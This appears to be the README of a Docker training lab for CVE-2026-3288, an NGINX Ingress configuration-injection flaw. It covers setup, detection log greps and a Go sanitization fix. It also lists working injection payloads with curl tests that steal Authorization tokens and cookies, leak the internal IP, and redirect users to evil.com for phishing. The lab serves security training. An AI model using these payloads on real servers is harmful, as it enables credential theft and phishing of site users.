bvabhishek/cve-2026-3288-labDocker-based vulnerable lab for CVE-2026-3288 NGINX Ingress configuration injection, with exploit scripts, detection monitoring, and remediation guidance for authorized security training.
⚠️ WARNING: This lab contains intentionally vulnerable configurations for AUTHORIZED SECURITY TRAINING ONLY
CVE-2026-3288 (CVSS 8.8 HIGH) - Configuration injection in NGINX Ingress Controller
") injection in path configurationThe buildProxyPass() function does not sanitize path input before interpolating it into nginx configuration, allowing attackers to break out of quoted strings and inject arbitrary nginx directives.
CVE-2026-3288-lab/
├── README.md # This file
├── docker-compose.yml # Main lab setup
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Vulnerable NGINX setup
│ │ ├── nginx.conf # Base configuration
│ │ └── vulnerable-config.conf # Vulnerable path handling
│ └── backend/
│ ├── Dockerfile # Simple backend app
│ └── app.py # Flask application
├── exploits/
│ ├── exploit.py # Automated exploitation script
│ ├── payloads.txt # Collection of exploit payloads
│ └── test-exploits.sh # Test all exploits
├── detection/
│ └── monitor-logs.sh # Monitor for exploitation attempts
└── cleanup/
└── cleanup.sh # Remove all lab resources
cd CVE-2026-3288-lab
# Start vulnerable environment
docker-compose up -d
# Check status
docker-compose ps
# Test backend is running
curl http://localhost:8080/
# Test NGINX is running
curl http://localhost/
cd exploits
# Automated exploitation
python3 exploit.py --all
# Or test individual exploits
bash test-exploits.sh
# Watch NGINX logs for exploitation
docker-compose logs -f nginx
# Monitor detection
cd detection
bash monitor-logs.sh
docker-compose down -v
Inject nginx return directive to serve attacker-controlled content.
Payload:
/api" return 200 "HACKED BY ATTACKER
Test:
curl 'http://localhost/api" return 200 "HACKED'
Reflect Authorization headers back in response to steal Bearer tokens.
Payload:
/login" return 200 "Token: $http_authorization
Test:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Redirect users to attacker-controlled phishing site.
Payload:
/" return 302 "https://evil.com/phishing
Test:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Leak internal server information.
Payload:
/" return 200 "Internal IP: $server_addr
Test:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Steal session cookies.
Payload:
/" return 200 "Cookies: $http_cookie
Test:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Vulnerable configuration
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
When path contains ", it breaks the quoted string:
# Attacker input: /api" return 200 "HACKED
# Results in:
location ~ "^/api" return 200 "HACKED" {
# Original config is now broken
}
# Watch for suspicious patterns
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Check NGINX config for injected directives
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" and \// Before (vulnerable)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// After (fixed)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
After completing this lab, you will understand:
# Check logs
docker-compose logs
# Restart
docker-compose restart
# Change ports in docker-compose.yml
# Or stop conflicting services
sudo lsof -i :80
# Verify NGINX is running
docker-compose ps nginx
# Check NGINX config
docker exec cve-2026-3288-nginx nginx -t
Created for authorized security training and research purposes only